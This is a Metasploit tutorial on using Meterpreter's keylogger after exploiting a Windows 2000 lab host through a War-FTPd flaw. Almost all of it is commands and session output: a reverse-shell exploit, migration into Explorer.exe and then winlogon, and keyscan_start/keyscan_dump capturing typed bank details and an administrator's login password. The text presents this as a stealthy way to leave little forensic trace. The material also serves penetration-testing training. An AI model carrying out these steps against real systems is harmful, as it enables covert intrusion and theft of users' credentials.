Using a keylogger with Metasploit
After you have exploited a system there are two different approaches you can take, either smash and grab or low and slow.
Low and slow can lead to a ton of great information, if you have the patience and discipline. One tool you can use for low and slow information gathering is the keystroke logger script with Meterpreter. This tool is very well designed, allowing you to capture all keyboard input from the system, without writing anything to disk, leaving a minimal forensic footprint for investigators to later follow up on. Perfect for getting passwords, user accounts, and all sorts of other valuable information.
Lets take a look at it in action. First, we will exploit a system as normal.
msf exploit(warftpd_165_user) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Connecting to FTP server 172.16.104.145:21... [*] Connected to target FTP server. [*] Trying target Windows 2000 SP0-SP4 English... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 4 opened (172.16.104.130:4444 -> 172.16.104.145:1246) meterpreter >
Then, we will migrate Meterpreter to the Explorer.exe process so that we don’t have to worry about the exploited process getting reset and closing our session.
meterpreter > ps Process list ============ PID Name Path --- ---- ---- 140 smss.exe \SystemRoot\System32\smss.exe 188 winlogon.exe ??\C:\WINNT\system32\winlogon.exe 216 services.exe C:\WINNT\system32\services.exe 228 lsass.exe C:\WINNT\system32\lsass.exe 380 svchost.exe C:\WINNT\system32\svchost.exe 408 spoolsv.exe C:\WINNT\system32\spoolsv.exe 444 svchost.exe C:\WINNT\System32\svchost.exe 480 regsvc.exe C:\WINNT\system32\regsvc.exe 500 MSTask.exe C:\WINNT\system32\MSTask.exe 528 VMwareService.exe C:\Program Files\VMwareVMware Tools\VMwareService.exe 588 WinMgmt.exe C:\WINNT\System32\WBEMWinMgmt.exe 664 notepad.exe C:\WINNT\System32\notepad.exe 724 cmd.exe C:\WINNT\System32\cmd.exe 768 Explorer.exe C:\WINNT\Explorer.exe 800 war-ftpd.exe C:\Program Files\War-ftpd\war-ftpd.exe 888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe meterpreter > migrate 768 [*] Migrating to 768... [*] Migration completed successfully. meterpreter > getpid Current pid: 768
Finally, we start the keylogger, wait for some time and dump the output.
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... tgoogle.cm my credit amex myusernamthi amexpasswordpassword
Could not be easier! Notice how keystrokes such as control and backspace are represented.
As an added bonus, if you want to capture system login information you would just migrate to the winlogon process. This will capture the credentials of all users logging into the system as long as this is running.
meterpreter > ps Process list ================= PID Name Path --- ---- ---- 401 winlogon.exe C:\WINNT\system32\winlogon.exe meterpreter > migrate 401 [*] Migrating to 401... [*] Migration completed successfully. meterpreter > keyscan_start Starting the keystroke sniffer... **** A few minutes later after an admin logs in **** meterpreter > keyscan_dump Dumping captured keystrokes... Administrator ohnoes1vebeenh4x0red!
Here we can see by logging to the winlogon process allows us to effectively harvest all users logging into that system and capture it. We have captured the Administrator logging in with a password of ‘ohnoes1vebeenh4x0red!’.